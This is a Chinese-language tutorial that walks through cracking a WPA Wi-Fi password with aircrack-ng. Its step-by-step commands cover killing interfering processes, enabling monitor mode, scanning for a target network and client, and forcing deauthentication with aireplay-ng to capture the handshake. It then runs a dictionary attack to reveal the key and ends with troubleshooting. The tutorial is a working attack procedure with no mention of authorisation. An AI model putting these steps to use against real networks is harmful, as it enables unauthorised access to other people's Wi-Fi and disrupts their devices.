1、关闭网络
1
service network-manager stop
2、结束可能会影响结果的进程
1
airmon-ng check kill
二、开启无线网卡到监听模式
1、查看网卡列表
1
iwconfig
说明:以wlan0和wlan1是无线网卡,我的电脑上有两张无线网卡
2、启动网卡到监听模式(这里使用wlan0)
1
airmon-ng start wlan0
说明:如上图表示启动成功,启动后会给出一个新的名称接口名,上图中的是mon0
三、监听周围的无线网络连接并获取握手信息
1、监听周围所有无线网络信息
1
airodump-ng mon0
在这条命令中mon0是上一步中我们得到的接口名
说明:图下半部分,列BSSID下要有非(not associated)行才行,上图中最后一行就是:
1
C0:XX:XX:XX:XX:00 14:XX:XX:XX:XX:B4 -87 0 - 1 3 2
这时,记下C0:XX:XX:XX:XX:00,并在图的上半部分中找对应C0:XX:XX:XX:XX:00行,记下CH列下的值为1。然后关闭此窗口。
2、监听感兴趣的无线网络
根据上一步的结果执行如下命令:
1
airodump-ng --bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0
在这条命令中--bssid后接我们上一部接下的BSSID值,即:C0:XX:XX:XX:XX:00。而-c后接的是我上一步在CH列下找到的值1。而-w后接的是我们保存网络数据的文件名,这里是用tmp。在命令的最后接的是之前得到的mon0
运行命令后会得到上图的结果,并确保上图的下半部分BSSID下有至少一行的数据
3、得到握手包
保持上一步中的窗口不关,新开一个窗口,执行如下命令:
1
aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0
在这条命令中参数-a后接的是上图中下半部分BSSID列下第一行的的值C0:XX:XX:XX:XX:00。参数-c后接的是上图中下半部分STATION列下第一行的的值14:XX:XX:XX:XX:B4。mon是之前步骤得到的值。执行后:
观察我们步骤2中未关闭的窗口中是否出现了下图中红款中的内容。如果没有出现那就再等几分钟再次执行本步骤中的命令,直到出现。如果执行了超过30次或者时间超过30分钟依然没有出现,建议换一个感兴趣的网络。
出现了上图中红框中的内容,就表示我们已经获取到了握手信息(包含有该网络密码的数据)。那么我们就可以结束监听网络了。
四、停止监听
1、关闭监听接口
1
airmon-ng stop mon0
2、启动网络
1
service network-manager start
五、获取密码
此时在执行第3.2步骤中命令的目录下会有一个tmp-01.cap文件。有了这个文件我们就可以破解密码了,除了这个文件外,我们还需要一个字典 文件。可以从这里下载,下载后解压出密码文件,假设其名字及路径为:/tmp/passwd.txt。执行下面的命令。如果密码字典中有这个wifi的密 码,我们就可以破解出密码:
1
aircrack-ng tmp-01.cap -w /tmp/passwd.txt
破解成功后会出现下图:
KEY FOUND!后中括号中间就是wifi密码了
六、可能出现的问题
1、收到on channel -1的错误
第3.3步执行
1
aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0
提示错误:
1
2
3
11:41:04 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel -1
11:41:04 Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch
Please specify an ESSID (-e).
解决办法:
(1)确保第3.1步中的窗口被关闭了的
(2)确保执行的3.2步中的命令,且名称中有参数-c且参数-c后的数值是正确的(参数-c 1是为了把mon0的频道锁定在频道1)
(3)如果依然不能解决,那可能就是驱动问题了,就像我的电脑,在kali3.14上能正常,但在3.20上一直有问题